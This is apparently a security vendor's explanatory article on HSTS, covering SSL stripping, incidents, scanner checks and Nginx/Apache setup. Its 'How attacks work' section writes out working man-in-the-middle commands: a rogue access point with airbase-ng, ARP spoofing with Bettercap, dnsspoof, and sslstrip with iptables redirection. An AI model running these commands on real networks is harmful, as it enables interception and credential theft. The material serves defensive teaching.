HSTS: Enforcing HTTPS and Preventing SSL Stripping
What is it?
HTTP Strict Transport Security (HSTS) is a security mechanism that forces web browsers to interact with websites exclusively over HTTPS, even when users or attackers attempt to use insecure HTTP connections. While HTTPS encrypts communication, HSTS ensures that encryption cannot be bypassed or downgraded, protecting against a class of attacks that exploit the initial HTTP connection before HTTPS is established.
HSTS works through a simple HTTP response header sent by the web server:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
When a browser receives this header over a valid HTTPS connection, it remembers that this website must always be accessed via HTTPS for the specified duration (max-age). For subsequent visits during this period, the browser automatically converts any HTTP requests to HTTPS before making the connection - preventing even a single unencrypted request from being sent.
The Three Directives:
-
max-age= (required): Specifies how long (in seconds) the browser should remember the HSTS policy
max-age=31536000= 1 yearmax-age=63072000= 2 yearsmax-age=0= Delete the HSTS policy (emergency use only)
-
includeSubDomains (optional): Applies the HSTS policy to all subdomains
blog.example.com,api.example.com,mail.example.comall require HTTPS- Use carefully - any subdomain without HTTPS will become inaccessible
-
preload (optional): Indicates the domain wants to be included in browsers' HSTS preload lists
- Browsers ship with built-in lists of HSTS domains
- Protection applies even on first visit (before HSTS header is received)
- Requires separate submission to hstspreload.org
How HSTS Protection Works:
Without HSTS:
- User types
example.comin browser (no protocol specified) - Browser defaults to
http://example.com - Server redirects to
https://example.com - Browser establishes HTTPS connection
Problem: The initial HTTP request (step 2-3) is vulnerable to interception and SSL stripping.
With HSTS (after first visit):
- User types
example.comin browser - Browser checks HSTS list, finds
example.com - Browser automatically converts to
https://example.comwithout sending HTTP request - Browser establishes HTTPS connection
Protection: No HTTP request is sent, eliminating the attack window.
The First-Visit Problem:
HSTS has a critical limitation: it only protects after the first successful HTTPS visit. If an attacker intercepts that first visit, they can prevent HSTS from being set. The HSTS preload list solves this by hardcoding HSTS domains into browsers, providing protection even on first visit.
Why does it matter?
HSTS addresses a critical vulnerability that exists even when websites properly implement HTTPS: the gap between user intent and secure connection establishment. This gap has been exploited extensively and continues to pose risks.
SSL Stripping Attack Prevention
The primary threat HSTS prevents is SSL stripping - a man-in-the-middle attack where an attacker downgrades HTTPS connections to HTTP:
Attack scenario without HSTS:
- Victim connects to public WiFi controlled by attacker
- Victim types
bank.comin browser (defaults to HTTP) - Browser sends HTTP request:
http://bank.com - Attacker intercepts this request
- Attacker connects to real bank via HTTPS:
https://bank.com - Attacker serves victim HTTP version of the site
- Victim sees
http://bank.com(or attacker might showhttps://bank.comin a fake address bar) - All communication between victim and attacker is unencrypted
- Attacker forwards requests to real bank via HTTPS
- Victim's credentials, session cookies, and transactions are stolen
With HSTS:
- After first visit (or via preload), browser never sends HTTP request
- Browser refuses to connect over HTTP
- SSL stripping attack fails - victim sees browser error instead of downgraded connection
Tools like sslstrip, mitmproxy, and Bettercap automate SSL stripping attacks. HSTS renders these tools ineffective against protected domains.
Protection Against Insecure Redirects
Many websites redirect from HTTP to HTTPS, but this redirect itself is unencrypted:
HTTP/1.1 301 Moved Permanently
Location: https://example.com/
Attackers can intercept and modify this redirect:
HTTP/1.1 301 Moved Permanently
Location: http://attacker.com/phishing
HSTS prevents this by skipping the HTTP request entirely - no redirect to intercept.
User Error Protection
Users often omit the protocol when typing URLs:
- Typing
example.cominstead ofhttps://example.com - Clicking links in emails that use HTTP
- Following HTTP links from third-party sites
- Manually editing HTTPS to HTTP in address bar (browsers with HSTS prevent this)
Without HSTS, each of these creates an opportunity for attack. HSTS automatically corrects these errors.
Mixed Content and Link Rot Protection
Websites sometimes contain hardcoded HTTP links:
<a href="http://example.com/page">Link</a>
<img src="http://example.com/image.png">
HSTS upgrades these to HTTPS automatically in browsers, preventing:
- Mixed content warnings
- Security degradation
- Attack opportunities through insecure resources
Network-Level Attack Prevention
Attackers with network-level access can perform various attacks:
- DNS spoofing: Redirecting users to fake sites
- ARP spoofing: Intercepting local network traffic
- Rogue WiFi: Creating malicious access points
- Compromised routers: Manipulating traffic at gateway level
Without HSTS, these attacks can force HTTP connections. With HSTS, browsers refuse HTTP, limiting attack effectiveness.
Compliance and Best Practice
Security standards and compliance frameworks increasingly require or recommend HSTS:
- PCI DSS: Recommends HSTS for protecting cardholder data
- OWASP Top 10: Includes HSTS in security configuration recommendations
- NIST Cybersecurity Framework: References HSTS in secure communication controls
- Government requirements: Many government agencies mandate HSTS (e.g., US federal websites)
Google and other security-conscious organizations made HSTS a hiring criteria for web developers - demonstrating industry recognition of its importance.
SEO and User Experience
While primarily a security feature, HSTS provides UX benefits:
- Faster connections: Skipping HTTP request/redirect saves round-trip time
- No redirect delays: Direct HTTPS connection
- Cleaner metrics: Analytics aren't polluted with HTTP hits before redirects
- Search engine preference: Google favors HTTPS-only sites
Defense in Depth
HSTS is part of a layered security approach:
- HTTPS encrypts data in transit
- HSTS prevents downgrade attacks
- Certificate pinning (deprecated, but similar concept) validates certificates
- Certificate Transparency logs provide certificate oversight
Each layer addresses different aspects of connection security. HSTS is essential because even perfect HTTPS implementation can be circumvented without it.
How attacks work
Understanding SSL stripping and related attacks demonstrates why HSTS is critical even when HTTPS is properly implemented.
Phase 1: Attacker Positioning
Attackers establish man-in-the-middle positions:
Public WiFi Attacks:
Attackers set up rogue access points or compromise legitimate ones:
# Create fake access point
airbase-ng -e "Free Coffee Shop WiFi" -c 6 wlan0
# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# Configure routing
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Victims connecting to this network have all traffic routed through the attacker's machine.
ARP Spoofing on Local Networks:
# Using Bettercap
bettercap -iface eth0
> net.probe on
> set arp.spoof.targets 192.168.1.0/24
> arp.spoof on
Attacker poisons ARP tables, inserting themselves between victims and gateway.
DNS Spoofing:
# Configure DNS responses
echo "192.168.1.100 bank.com" >> /etc/hosts
# Run DNS server
dnsspoof -i eth0
Victims' DNS queries are answered with attacker's IP address.
Phase 2: SSL Stripping Setup
Once positioned, attackers configure SSL stripping tools:
Using sslstrip (Classic Tool):
# Redirect HTTP traffic to sslstrip
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
# Run sslstrip
sslstrip -l 8080 -w captured.log
# Optional: log credentials
sslstrip -l 8080 -w captured.log -a
Using Bettercap (Modern Tool):
bettercap -iface eth0
> net.probe on
> set arp.spoof.targets 192.168.1.100
> arp.spoof on
> set http.proxy.sslstrip true
> http.proxy on
> net.sniff on
Using mitmproxy:
# Run mitmproxy with SSL stripping
mitmproxy --mode transparent --ssl-insecure
Phase 3: Attack Execution
Victim Action:
User types bank.com in browser (or clicks HTTP link).
Browser Behavior (No HSTS):
Browser sends HTTP request: GET http://bank.com/
Attacker Intercepts:
Intercepted: GET http://bank.com/ HTTP/1.1
Attacker Connects to Real Site: Attacker's tool establishes HTTPS connection to real site:
# sslstrip connects
SSL connection: https://bank.com/
Attacker Receives HTTPS Response:
<html>
<head><title>Secure Bank</title></head>
<body>
<form action="https://bank.com/login" method="POST">
<input name="username">
<input name="password" type="password">
</form>
</body>
</html>
Attacker Modifies Response:
sslstrip automatically rewrites HTTPS links to HTTP or attacker-controlled domains:
<html>
<head><title>Secure Bank</title></head>
<body>
<form action="http://bank.com/login" method="POST">
<input name="username">
<input name="password" type="password">
</form>
</body>
</html>
Or more sophisticated:
<form action="http://wwww.bank.com/login" method="POST">
(Note subtle typo: wwww instead of www - attacker registers this domain)
Attacker Serves HTTP to Victim: Victim sees HTTP version, all communication unencrypted.
Phase 4: Credential Harvesting
When victim submits login form:
POST /login HTTP/1.1
Host: bank.com
Content-Type: application/x-www-form-urlencoded
username=victim&password=SecurePassword123
Attacker captures credentials, then forwards to real site over HTTPS:
POST /login HTTP/1.1
Host: bank.com
Content-Type: application/x-www-form-urlencoded
[Encrypted with HTTPS to real site]
username=victim&password=SecurePassword123
Victim successfully logs in (via attacker proxy), unaware of interception.
Phase 5: Session Hijacking and Persistence
Attacker maintains position:
- Captures session cookies from unencrypted HTTP
- Monitors all user actions (transactions, messages, account changes)
- Can modify requests/responses in real-time
- Continues attack across entire session
Advanced Evasion: Homograph Attacks
Combined with SSL stripping, attackers use similar-looking domains:
# Real domain
https://bank.com
# Attacker's domain (using Unicode)
http://bаnk.com # Note: 'a' is Cyrillic а (U+0430)
Visually identical, but different domains. Attacker registers the homograph, serves content there.
HSTS Bypass Attempts
Even with HSTS, attackers may attempt bypasses:
1. First-Visit Attack:
If domain isn't in preload list, first visit is vulnerable:
# Attacker clears victim's HSTS cache
# Or attacks user who never visited the site
# First HTTP request is intercepted before HSTS is set
2. Subdomain Exploitation:
If main domain has HSTS but includeSubDomains not set:
# Protected
https://bank.com (HSTS enabled)
# Vulnerable
http://mail.bank.com (no HSTS)
Attacker uses vulnerable subdomain as entry point.
3. NTP Attacks:
HSTS policies have expiration (max-age). Attackers manipulating victim's system time could:
# Set system time far in future
# HSTS policy expires
# Attempt SSL stripping
(Difficult in practice, but theoretically possible)
Real-world incidents
HSTS-related incidents demonstrate both the effectiveness of the protection and the consequences of its absence.
Moxie Marlinspike's sslstrip (2009)
Security researcher Moxie Marlinspike released sslstrip, the tool that first demonstrated SSL stripping attacks at scale. At Black Hat DC 2009, he showed how trivially easy it was to downgrade HTTPS to HTTP on public WiFi networks. The demonstration:
- Captured credentials from attendees at the conference
- Worked against virtually all major websites at the time
- Revealed that HTTPS alone wasn't sufficient protection
This research directly led to the development of HSTS. The IETF published the HSTS specification (RFC 6797) in 2012, specifically to address the vulnerabilities sslstrip exposed.
Banking Trojan SSL Stripping (2013-2015)
Several banking trojans incorporated SSL stripping capabilities:
- Carberp: Russian banking trojan with MITM module
- Zeus: Added SSL stripping in later variants
- Dridex: Sophisticated banking malware with network interception
These trojans compromised routers and local networks to position themselves for SSL stripping attacks against online banking sessions. Banks that implemented HSTS were protected; those without HSTS suffered credential theft and fraudulent transactions.
Governments and ISP Injection (Ongoing)
Various governments and ISPs have been caught injecting content into HTTP traffic:
- Comcast: Injected warnings and advertisements into HTTP pages
- Verizon: Injected tracking headers (UIDH super-cookies)
- Various governments: Content filtering and surveillance
While these weren't malicious attacks in all cases, they demonstrated how intermediaries could modify HTTP traffic. HSTS prevents such injection by eliminating unencrypted connections. After revelations of these practices, many privacy-conscious sites implemented HSTS to protect users.
Public WiFi Attacks at Conferences (2014-Present)
Security conferences became testing grounds for SSL stripping:
- Wall of Sheep at DEF CON: Demonstrated live credential capture
- WiFi Pineapple demonstrations: Commercial tools for educational MITM attacks
- Research presentations showing automated credential harvesting
Attendees at security conferences learned firsthand why HSTS matters. Many organizations implemented HSTS after their employees were compromised at conferences (ironically, security conferences).
Chrome HSTS Preload List Growth
Google launched the HSTS preload list in 2012 with a few dozen domains. Growth demonstrates adoption:
- 2012: ~50 domains
- 2015: ~5,000 domains
- 2018: ~70,000 domains
- 2024: ~150,000+ domains
Major sites on the preload list include:
- Google.com (and all Google properties)
- Facebook.com
- Twitter.com (X.com)
- GitHub.com
- PayPal.com
- All .gov and .mil domains (US government requirement)
The list is built into Chrome, Firefox, Safari, Edge, and Opera - providing first-visit protection to billions of users.
US Government HSTS Mandate (2015)
The White House Office of Management and Budget (OMB) issued M-15-13, requiring all publicly accessible federal websites to implement HTTPS-only with HSTS. This mandate:
- Covered thousands of .gov and .mil domains
- Required HSTS with
includeSubDomains - Encouraged preload list submission
- Set strict compliance deadlines
Analysis in 2017 showed dramatic improvement in federal HSTS adoption, from less than 10% to over 80% compliance. This government mandate influenced private sector adoption and established HSTS as a security baseline.
Google Chrome HTTP Warnings (2017-2020)
Google's progressive HTTP deprecation included HSTS considerations:
- 2017: "Not Secure" warnings for HTTP sites with password fields
- 2018: "Not Secure" for all HTTP pages
- 2020: Full-page warnings for HTTPS sites loading HTTP resources
Sites with HSTS were highlighted as security leaders, while HTTP-only sites faced user trust erosion. This drove massive HSTS adoption.
What Nyambush detects
Nyambush provides comprehensive HSTS analysis to ensure your forced HTTPS policy is properly configured.
HSTS Header Presence Check
We connect to your domain via HTTPS and check for the HSTS header:
curl -I https://example.com | grep -i strict-transport-security
We identify:
- HSTS header present (good)
- HSTS header missing (critical issue)
- Multiple conflicting HSTS headers (misconfiguration)
- HSTS header on HTTP connections (ineffective - HSTS only works over HTTPS)
max-age Value Analysis
We parse and evaluate the max-age directive:
Strict-Transport-Security: max-age=31536000
Assessment criteria:
max-age=31536000(1 year): Good - Standard recommendationmax-age=63072000(2 years): Excellent - Stronger protectionmax-age=<31536000(less than 1 year): Weak - Consider increasingmax-age=<300(less than 5 minutes): Critical - Ineffective protectionmax-age=0: Critical - Deletes HSTS policy (emergency use only)
Recommended minimum: 6 months (15768000 seconds) Best practice: 1-2 years
includeSubDomains Directive Check
We verify whether subdomains are protected:
Strict-Transport-Security: max-age=31536000; includeSubDomains
Analysis:
- Present: Subdomains protected (excellent)
- Missing: Subdomains potentially vulnerable (risk if subdomains exist)
We also test actual subdomains:
curl -I https://www.example.com
curl -I https://api.example.com
curl -I https://mail.example.com
Identifying:
- Subdomains without HTTPS (broken if
includeSubDomainsis set) - Subdomains that would benefit from
includeSubDomainsprotection
preload Directive Check
We check for the preload directive and preload list status:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Verification:
preloaddirective present in header- Domain actually submitted to hstspreload.org
- Domain's preload list status (pending, approved, rejected, removed)
Note: The preload directive alone doesn't provide protection - the domain must be submitted to and approved for the preload list.
Preload List Requirements Validation
For domains with preload directive, we verify they meet submission requirements:
- ✓ Valid certificate
- ✓ All HTTP redirects to HTTPS on same host
- ✓ All subdomains serve HTTPS
- ✓ HSTS header on base domain:
max-ageat least 31536000 (1 year)includeSubDomainsdirective presentpreloaddirective present
We identify any requirement failures preventing successful preload submission.
HTTP to HTTPS Redirect Verification
HSTS only works after the first HTTPS visit. We verify proper HTTP redirects:
curl -I http://example.com
Expected:
HTTP/1.1 301 Moved Permanently
Location: https://example.com/
We check:
- Redirect exists (301 or 302)
- Redirect target is HTTPS (not HTTP again)
- Redirect is to same host (not different domain)
- Redirect preserves path and query parameters
Common Misconfigurations Detection
1. HSTS on HTTP:
# HTTP response (ineffective)
HTTP/1.1 200 OK
Strict-Transport-Security: max-age=31536000
HSTS headers sent over HTTP are ignored by browsers. This is a common mistake.
2. Missing after redirect:
# HTTP request
http://example.com
# Redirect (no HSTS here)
HTTP/1.1 301 Moved Permanently
Location: https://example.com/
# HTTPS response (HSTS should be here)
HTTP/1.1 200 OK
[Missing Strict-Transport-Security header]
3. Too short max-age:
Strict-Transport-Security: max-age=300
5-minute max-age provides almost no protection - users must revisit within 5 minutes for continued protection.
4. includeSubDomains without subdomain HTTPS:
# Main domain
Strict-Transport-Security: max-age=31536000; includeSubDomains
# Subdomain (HTTP only, no HTTPS)
http://mail.example.com
This breaks subdomain access - browsers will refuse HTTP, but HTTPS isn't available.
Subdomain Testing
We discover and test common subdomains:
www.example.com
mail.example.com
api.example.com
blog.example.com
shop.example.com
portal.example.com
For each:
- Check HTTPS availability
- Verify HSTS header presence
- Confirm header matches main domain (if
includeSubDomainsis set)
Browser Compatibility Validation
We verify HSTS configuration works across major browsers:
- Chrome/Edge: Preload list support
- Firefox: Independent preload list
- Safari: WebKit preload list
- Mobile browsers: iOS Safari, Chrome Android
Security Recommendations
Based on analysis, we provide specific recommendations:
- Add HSTS header if missing
- Increase
max-ageif too short - Add
includeSubDomainsif appropriate - Add
preloaddirective and submit to preload list - Fix HTTP to HTTPS redirects
- Enable HTTPS on HTTP-only subdomains
- Remove HSTS headers from HTTP responses
How to fix it
Implementing HSTS requires careful planning to avoid breaking existing functionality.
Step 1: Ensure HTTPS is Fully Functional
Before implementing HSTS, verify:
- ✓ Valid SSL certificate installed
- ✓ All pages accessible via HTTPS
- ✓ No mixed content (HTTP resources on HTTPS pages)
- ✓ HTTP to HTTPS redirect configured
- ✓ All subdomains either have HTTPS or don't need to be accessible
Critical: HSTS is irreversible for the max-age period. Once set, users cannot access your site via HTTP even if you remove HSTS headers (until max-age expires). Ensure HTTPS works perfectly first.
Step 2: Start with Conservative max-age
Begin with short max-age for testing:
Strict-Transport-Security: max-age=300
This 5-minute policy allows rapid recovery if issues are discovered.
Step 3: Configure Web Server
Nginx:
server {
listen 443 ssl http2;
server_name example.com www.example.com;
# SSL certificate configuration
ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;
# HSTS header (start with short max-age)
add_header Strict-Transport-Security "max-age=300" always;
# Rest of configuration...
}
Apache:
<VirtualHost *:443>
ServerName example.com
ServerAlias www.example.com
# SSL configuration
SSLEngine on
SSLCertificateFile /etc/letsencrypt/live/example.com/cert.pem
SSLCertificateKeyFile /etc/letsencrypt/live/example.com/privkey.pem
SSLCertificateChainFile /etc/letsencrypt/live/example.com/chain.pem
# HSTS header
Header always set Strict-Transport-Security "max-age=300"
# Rest of configuration...
</VirtualHost>
Cloudflare:
- Log in to Cloudflare dashboard
- Select your domain
- Navigate to SSL/TLS > Edge Certificates
- Find "HTTP Strict Transport Security (HSTS)"
- Click "Enable HSTS"
- Configure:
- Max Age: 5 minutes (for testing)
- Apply to subdomains: Off (initially)
- Preload: Off (initially)
- No-Sniff header: On
- Click "Next" and confirm
Step 4: Test and Monitor
After implementing with short max-age:
Verify header is sent:
curl -I https://example.com | grep -i strict-transport-security
Expected output:
Strict-Transport-Security: max-age=300
Test browser behavior:
- Visit
https://example.comin browser - Open Developer Tools > Application/Storage > HSTS
- Verify domain is listed with correct max-age
- Type
http://example.comin address bar - Verify browser automatically converts to HTTPS (check Network tab - should show no HTTP request)
Monitor for issues:
- Check analytics for unusual drop in traffic
- Monitor error logs for SSL/certificate errors
- Watch user reports for access problems
Step 5: Gradually Increase max-age
If no issues after monitoring:
Week 1: 5 minutes
Strict-Transport-Security: max-age=300
Week 2: 1 week
Strict-Transport-Security: max-age=604800
Week 3: 1 month
Strict-Transport-Security: max-age=2592000
Week 4+: 1 year (standard)
Strict-Transport-Security: max-age=31536000
Step 6: Add includeSubDomains
After successful deployment on main domain, add subdomain protection:
Prerequisites:
- All subdomains either have HTTPS or don't need access
- Test each subdomain:
curl -I https://subdomain.example.com
Configuration:
# Nginx
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
# Apache
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
Warning: includeSubDomains is powerful but dangerous. Any subdomain without HTTPS becomes completely inaccessible for the max-age period. Carefully verify all subdomains before enabling.
Step 7: Submit to Preload List
For maximum protection, submit to the HSTS preload list:
Prerequisites:
- Valid certificate
- HTTPS on base domain and all subdomains
- HTTP redirects to HTTPS
- HSTS header with:
max-age >= 31536000(1 year)includeSubDomainsdirectivepreloaddirective
Update header:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Submit to preload list:
- Visit https://hstspreload.org/
- Enter your domain
- System checks requirements
- Review warnings (especially about commitment and removal difficulty)
- Check "I am the domain owner" checkbox
- Submit
Approval process:
- Automatic checks verify configuration
- Manual review may occur
- Approval typically takes days to weeks
- Inclusion in browsers happens in next release (months)
Important warnings:
- Difficult to reverse: Removal from preload list is slow (months/years)
- Affects all subdomains: Including ones you might create in the future
- Permanent commitment: Only submit if you're certain about HTTPS-only
Step 8: Monitor Ongoing
HSTS requires continuous monitoring:
Check header is sent:
curl -I https://example.com | grep -i strict-transport-security
Verify preload list status: Visit https://hstspreload.org/ and check your domain's status periodically.
Monitor certificate expiration: HSTS with expired certificates = completely broken site. Set up:
- Certificate expiration monitoring
- Automatic renewal (Let's Encrypt recommended)
- Backup renewal methods
Test after changes: After any infrastructure changes, verify:
- HSTS header still present
- Certificate still valid
- HTTPS still functional on all paths/subdomains
Use Nyambush:
- Continuous HSTS monitoring
- Alerts for configuration changes
- Preload list status tracking
- Integration with HTTPS/SSL monitoring
Emergency: Removing HSTS
If you must remove HSTS (strongly discouraged):
- Set max-age=0:
Strict-Transport-Security: max-age=0
-
Wait for users to visit: Users must visit your site for browsers to receive the updated header and delete the HSTS policy
-
Preload list removal: If on preload list, submit removal request at hstspreload.org (takes months to propagate to browsers)
-
Some users stuck: Users who haven't visited recently will still have old HSTS policy until max-age expires
This is why conservative rollout is critical - recovering from HSTS mistakes is painful.
Complete Example Configuration:
Nginx:
# HTTP to HTTPS redirect
server {
listen 80;
listen [::]:80;
server_name example.com www.example.com;
return 301 https://$host$request_uri;
}
# HTTPS server
server {
listen 443 ssl http2;
listen [::]:443 ssl http2;
server_name example.com www.example.com;
# SSL configuration
ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
# HSTS header (production)
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
# Other security headers
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
# Application configuration
root /var/www/example.com;
index index.html;
location / {
try_files $uri $uri/ =404;
}
}
Summary
HTTP Strict Transport Security (HSTS) forces browsers to use HTTPS exclusively, preventing SSL stripping attacks that downgrade secure connections to insecure HTTP. Through the Strict-Transport-Security HTTP header, websites instruct browsers to remember that they must always be accessed via HTTPS for a specified duration (max-age), optionally including all subdomains (includeSubDomains) and requesting inclusion in browsers' preload lists (preload).
HSTS addresses a critical gap in HTTPS protection: the vulnerable initial HTTP connection before HTTPS is established. Even with perfect HTTPS implementation, users typing example.com send an initial HTTP request that attackers can intercept. SSL stripping tools like sslstrip exploit this gap, positioning attackers as man-in-the-middle proxies that maintain HTTPS to the real site while serving HTTP to victims. This allows complete traffic interception, credential theft, and session hijacking.
With HSTS, after the first successful HTTPS visit (or via preload list), browsers automatically convert all HTTP requests to HTTPS before sending them - eliminating the attack window. Attackers cannot downgrade connections, intercept redirects, or exploit user errors (omitting protocol, clicking HTTP links, manually editing URLs). The HSTS preload list, hardcoded into browsers, provides protection even on first visit to domains that have opted in.
Real-world impact has been significant. Moxie Marlinspike's 2009 sslstrip demonstration led directly to HSTS development. Banking trojans used SSL stripping for credential theft. Government and ISP traffic injection demonstrated intermediary capabilities. Security conferences showed live attacks. The US government mandated HSTS for federal sites. The preload list grew from dozens to 150,000+ domains, protecting billions of users.
Implementation requires careful phased deployment: ensure HTTPS works perfectly, start with short max-age (5 minutes), test thoroughly, gradually increase to 1 year, add includeSubDomains after verifying all subdomains, consider preload list submission for maximum protection. HSTS is difficult to reverse - mistakes can render your site inaccessible for the max-age period, so conservative rollout is critical.
Nyambush automates HSTS validation through header presence checking, max-age value analysis, directive verification (includeSubDomains, preload), preload list status monitoring, HTTP redirect validation, subdomain testing, misconfiguration detection, and integration with HTTPS/SSL analysis. We provide specific recommendations for safe HSTS deployment and ongoing monitoring.
HSTS is essential for complete HTTPS protection. HTTPS alone can be circumvented through SSL stripping; HSTS prevents these attacks. Implement HSTS to enforce HTTPS, protect against downgrade attacks, secure user connections, meet security best practices, and join the 150,000+ domains providing maximum connection security. Use Nyambush to validate your HSTS implementation and monitor it continuously.